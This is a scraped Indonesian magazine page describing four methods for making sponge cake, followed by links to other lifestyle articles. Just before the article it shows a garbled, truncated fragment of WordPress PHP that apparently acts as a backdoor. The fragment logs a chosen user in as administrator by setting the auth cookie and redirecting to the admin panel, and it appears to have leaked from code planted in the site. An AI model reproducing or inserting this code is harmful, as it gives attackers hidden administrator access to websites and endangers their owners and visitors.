Teknik Membuat Bolu

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Trend

Teknik Membuat Bolu

16 Sep 2015

Untuk membuat bolu yang mengembang, empuk, dan enak, beri perhatian pada teknik mengocok, mengaduk lipat, mengaduk searah, mengocok dengan kecepatan penuh atau lambat. Jika terlalu lama mengaduk, bolu tak akan mengembang dengan baik, bahkan adonan dapat menjadi encer dan bolu nantinya akan kempis.

Teknik membuat bolu bervariasi, antara lain adalah empat teknik yang umum digunakan:

Teknik 1: Gula pasir dan telur dikocok bersama hingga mengembang dan pucat. Setelahnya, ditambahkan bahan lain dan mentega yang sudah dilelehkan.
Teknik 2: Mentega dan gula dikocok hingga lembut, pucat, dan gula larut. Setelahnya, ditambahkan bahan kering dan telur.
Teknik 3: Kuning dan putih telur dikocok terpisah, masing-masing hingga mengembang dan kaku. Setelahnya, ditambahkan bahan kering ke dalam kuning telur kocok, lalu dicampur dengan putih telur kocok, dan mentega leleh.
Teknik 4: Sama sekali tidak menggunakan putih telur. Kuning telur dikocok lalu ditim hingga mengental. Setelah dingin, diaduk bersama bahan kering dan mentega yang sudah dilelehkan. (f)

Tak Cuma Hummus dan Falafel, Ini 8 Sarapan Khas Palestina Lainnya

Upaya Berkebun di Rumah untuk Dukung Konsumsi Berkelanjutan dalam Indonesian Women's Forum 2023

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id